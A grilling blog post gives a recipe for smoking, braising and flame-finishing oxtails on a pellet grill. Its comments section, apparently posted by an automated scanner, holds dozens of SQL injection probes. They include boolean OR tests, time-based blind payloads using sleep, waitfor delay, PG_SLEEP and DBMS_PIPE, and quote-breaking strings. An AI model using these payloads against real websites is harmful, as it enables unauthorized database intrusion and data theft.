Oxtails
Season and Smoke
Season the oxtails generously with your favorite rub, or simple salt and pepper. Place them either in a baking dish or directly on the upper grids and smoke them for about 3 hours @ 200 degrees. You will be using a baking dish later to brasie the oxtails so put it underneath the upper shelf to catch some drippings during the smoke session. As you can see I had a lot of variance in the size of the pieces, but that worked out fine for the kids to have a little taste of what they considered a pretty weird thing to be eating, without having to eat a whole big chunk... Which was a win-win- More for dad! These oxtails were so good!

(Here is what they will look like after a good smoking)
Broth and Braise
After the oxtails are smoked, transfer them to a baking dish (if they aren't already in one), add 1/2 to 1 cup beef broth, and cover with foil. Turn up the grill to 325 degrees and let the oxtails braise in their own juices and the added broth- about 2 hours or until they seem "bite off the bone" tender.
Flame and Finish
For the last 3-5 minutes, turn the grill up to high (480° or FL-3 on a Kuma pellet grill), with the grill zone open, and let those tails get a little crispy bark. I like a little sweetness on my meat, so I brushed some honey butter on a couple of the oxtails before their flame finish (can you tell in the photo which ones? They have a little more shine). They turned out tender and full of flavor...who knew a flyswatter could taste so good?
Please login to publish a comment.
Comments (65)
-
-1 OR 5*5=25 --
-
-1 OR 5*5=26 --
-
-1 OR 5*5=25
-
-1 OR 5*5=26
-
-1' OR 5*5=25 --
-
-1' OR 5*5=26 --
-
-1" OR 5*5=25 --
-
-1" OR 5*5=26 --
-
-1' OR 5*5=25 or 'IyfmViwe'='
-
-1' OR 5*5=26 or 'IyfmViwe'='
-
-1" OR 5*5=25 or "cJ3kzJV0"="
-
-1" OR 5*5=26 or "cJ3kzJV0"="
-
*if(now()=sysdate(),sleep(15),0)
-
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
-
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
-1; waitfor delay '0:0:15' --
-
-1); waitfor delay '0:0:15' --
-
-1)); waitfor delay '0:0:15' --
-
-1 waitfor delay '0:0:15' --
-
X5p1zLpG'; waitfor delay '0:0:15' --
-
eYcMl09L'); waitfor delay '0:0:15' --
-
lW90KDii')); waitfor delay '0:0:15' --
-
-1 OR 197=(SELECT 197 FROM PG_SLEEP(15))--
-
-1) OR 879=(SELECT 879 FROM PG_SLEEP(15))--
-
-1)) OR 148=(SELECT 148 FROM PG_SLEEP(15))--
-
KfGGkT2V' OR 346=(SELECT 346 FROM PG_SLEEP(15))--
-
86WBWQYH') OR 629=(SELECT 629 FROM PG_SLEEP(15))--
-
MCC2Jyjk')) OR 229=(SELECT 229 FROM PG_SLEEP(15))--
-
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
'"
-
����%2527%2522\'\"
-
@@EQqDm
-
(select 198766*667891)
-
(select 198766*667891 from DUAL)
-
XAMlWyME
-
1*
-
1*
-
1*
-
1*
-
-1 OR 2+620-620-1=0+0+0+1
-
-1 OR 3+620-620-1=0+0+0+1
-
if(now()=sysdate(),sleep(15),0)
-
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
-1; waitfor delay '0:0:15' --
-
-1); waitfor delay '0:0:15' --
-
-1)); waitfor delay '0:0:15' --
-
1 waitfor delay '0:0:15' --
-
0YFo94to'; waitfor delay '0:0:15' --
-
8ULM0BIY'); waitfor delay '0:0:15' --
-
7dQCA8zz')); waitfor delay '0:0:15' --
-
-5 OR 518=(SELECT 518 FROM PG_SLEEP(15))--
-
-5) OR 606=(SELECT 606 FROM PG_SLEEP(15))--
-
-1)) OR 915=(SELECT 915 FROM PG_SLEEP(15))--
-
q7lxVDQy' OR 296=(SELECT 296 FROM PG_SLEEP(15))--
-
6egJH5dC') OR 510=(SELECT 510 FROM PG_SLEEP(15))--
-
jGiVsqjl')) OR 560=(SELECT 560 FROM PG_SLEEP(15))--
-
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1'"
-
1 ����%2527%2522
-
@@BEyaB


1
1 12/25/2025 12:15 PM